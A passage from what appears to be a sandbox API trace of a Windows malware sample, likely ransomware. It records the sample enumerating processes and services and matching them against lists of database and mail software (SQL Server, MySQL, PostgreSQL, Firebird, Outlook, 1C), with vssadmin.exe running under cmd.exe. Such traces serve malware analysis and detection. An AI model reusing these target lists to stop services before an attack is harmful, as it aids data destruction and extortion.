cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0049.527] lstrlenW (lpString="smss.exe") returned 8 [0049.527] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0049.529] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0049.529] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0049.530] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0049.530] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0049.569] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0049.569] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0049.569] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.570] lstrlenW (lpString="csrss.exe") returned 9 [0049.570] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0049.570] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0049.570] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0049.570] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0049.570] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0049.571] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0049.571] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0049.571] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0049.571] lstrlenW (lpString="wininit.exe") returned 11 [0049.571] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0049.572] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0049.572] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0049.572] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0049.573] lstrlenW (lpString="csrss.exe") returned 9 [0049.573] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0049.573] lstrlenW (lpString="winlogon.exe") returned 12 [0049.573] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0049.574] lstrlenW (lpString="services.exe") returned 12 [0049.574] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0049.575] lstrlenW (lpString="lsass.exe") returned 9 [0049.576] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x17c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0049.617] lstrlenW (lpString="lsm.exe") returned 7 [0049.617] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.618] lstrlenW (lpString="svchost.exe") returned 11 [0049.636] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.637] lstrlenW (lpString="svchost.exe") returned 11 [0049.637] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.638] lstrlenW (lpString="svchost.exe") returned 11 [0049.638] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x334, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.639] lstrlenW (lpString="svchost.exe") returned 11 [0049.639] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x36c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.640] lstrlenW (lpString="svchost.exe") returned 11 [0049.640] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0049.641] lstrlenW (lpString="audiodg.exe") returned 11 [0049.641] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.642] lstrlenW (lpString="svchost.exe") returned 11 [0049.642] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.643] lstrlenW (lpString="svchost.exe") returned 11 [0049.643] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x448, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x334, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0049.644] lstrlenW (lpString="dwm.exe") returned 7 [0049.644] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x45c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x440, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0049.644] lstrlenW (lpString="explorer.exe") returned 12 [0049.644] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0049.645] lstrlenW (lpString="spoolsv.exe") returned 11 [0049.645] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.646] lstrlenW (lpString="taskhost.exe") returned 12 [0049.646] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.647] lstrlenW (lpString="svchost.exe") returned 11 [0049.647] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x50c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x36c, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1 [0049.647] lstrlenW (lpString="taskeng.exe") returned 11 [0049.647] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x130, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1cc, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0049.648] lstrlenW (lpString="taskhost.exe") returned 12 [0049.648] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="obligations-breath.exe")) returned 1 [0049.649] lstrlenW (lpString="obligations-breath.exe") returned 22 [0049.649] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mirrors billion batch.exe")) returned 1 [0049.649] lstrlenW (lpString="mirrors billion batch.exe") returned 25 [0049.649] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="achieving.exe")) returned 1 [0049.650] lstrlenW (lpString="achieving.exe") returned 13 [0049.650] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="venice.exe")) returned 1 [0049.651] lstrlenW (lpString="venice.exe") returned 10 [0049.651] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x618, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="owns.exe")) returned 1 [0049.651] lstrlenW (lpString="owns.exe") returned 8 [0049.651] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x344, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="faster momentum.exe")) returned 1 [0049.652] lstrlenW (lpString="faster momentum.exe") returned 19 [0049.652] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x248, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="vital_reasons.exe")) returned 1 [0049.653] lstrlenW (lpString="vital_reasons.exe") returned 17 [0049.653] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="everyone.exe")) returned 1 [0049.653] lstrlenW (lpString="everyone.exe") returned 12 [0049.653] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x714, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="knife-matches-went.exe")) returned 1 [0049.654] lstrlenW (lpString="knife-matches-went.exe") returned 22 [0049.654] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="bored_excluded.exe")) returned 1 [0049.710] lstrlenW (lpString="bored_excluded.exe") returned 18 [0049.710] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="mothers.exe")) returned 1 [0049.711] lstrlenW (lpString="mothers.exe") returned 11 [0049.711] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="career-fed.exe")) returned 1 [0049.712] lstrlenW (lpString="career-fed.exe") returned 14 [0049.712] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="securities-sv-infection.exe")) returned 1 [0049.713] lstrlenW (lpString="securities-sv-infection.exe") returned 27 [0049.713] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5b8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="initial_utilization.exe")) returned 1 [0049.713] lstrlenW (lpString="initial_utilization.exe") returned 23 [0049.713] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x58c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="cf-represent.exe")) returned 1 [0049.714] lstrlenW (lpString="cf-represent.exe") returned 16 [0049.714] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="tue.exe")) returned 1 [0049.715] lstrlenW (lpString="tue.exe") returned 7 [0049.715] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="geo-lat-qualities.exe")) returned 1 [0049.715] lstrlenW (lpString="geo-lat-qualities.exe") returned 21 [0049.715] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="distinctiondollardemographic.exe")) returned 1 [0049.716] lstrlenW (lpString="distinctiondollardemographic.exe") returned 32 [0049.716] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="stuff_event.exe")) returned 1 [0049.717] lstrlenW (lpString="stuff_event.exe") returned 15 [0049.717] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="keywords-copies.exe")) returned 1 [0049.718] lstrlenW (lpString="keywords-copies.exe") returned 19 [0049.718] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="lap.exe")) returned 1 [0049.719] lstrlenW (lpString="lap.exe") returned 7 [0049.719] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x834, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0049.719] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0049.719] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x45c, pcPriClassBase=8, dwFlags=0x0, szExeFile="chrome64b.exe")) returned 1 [0049.720] lstrlenW (lpString="chrome64b.exe") returned 13 [0049.720] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x9b0, pcPriClassBase=8, dwFlags=0x0, szExeFile="cmd.exe")) returned 1 [0049.721] lstrlenW (lpString="cmd.exe") returned 7 [0049.721] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x9d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x188, pcPriClassBase=8, dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0049.723] lstrlenW (lpString="conhost.exe") returned 11 [0049.723] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa24, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x9bc, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0049.723] lstrlenW (lpString="vssadmin.exe") returned 12 [0049.723] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xac8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0049.724] lstrlenW (lpString="VSSVC.exe") returned 9 [0049.724] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0049.725] lstrlenW (lpString="svchost.exe") returned 11 [0049.725] Process32NextW (in: hSnapshot=0x1f8, lppe=0x214fd34 | out: lppe=0x214fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xae8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1cc, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0049.725] CloseHandle (hObject=0x1f8) returned 1 [0049.725] Sleep (dwMilliseconds=0x1f4) [0050.357] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x66f660 [0050.357] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 0 [0050.385] GetLastError () returned 0xea [0050.387] RtlAllocateHeap (HeapHandle=0x5f0000, Flags=0x0, Size=0x12c6) returned 0x63e068 [0050.387] EnumServicesStatusExW (in: hSCManager=0x66f660, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x63e068, cbBufSize=0x12c6, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x63e068, pcbBytesNeeded=0x214ff44, lpServicesReturned=0x214ff5c, lpResumeHandle=0x0) returned 1 [0050.388] CloseServiceHandle (hSCObject=0x66f660) returned 1 [0050.388] lstrlenW (lpString="Appinfo") returned 7 [0050.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0050.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0050.388] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0050.388] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0050.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0050.388] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0050.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0050.388] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0050.388] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0050.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0050.388] lstrlenW (lpString="AudioSrv") returned 8 [0050.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0050.388] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0050.388] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0050.388] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0050.388] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0050.388] lstrlenW (lpString="BFE") returned 3 [0050.388] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0050.389] lstrlenW (lpString="CryptSvc") returned 8 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0050.389] lstrlenW (lpString="CscService") returned 10 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0050.389] lstrlenW (lpString="DcomLaunch") returned 10 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0050.389] lstrlenW (lpString="Dhcp") returned 4 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0050.389] lstrlenW (lpString="Dnscache") returned 8 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0050.389] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0050.389] lstrlenW (lpString="DPS") returned 3 [0050.389] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0050.389] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0050.389] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0050.389] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0050.390] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0050.390] lstrlenW (lpString="eventlog") returned 8 [0050.390] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 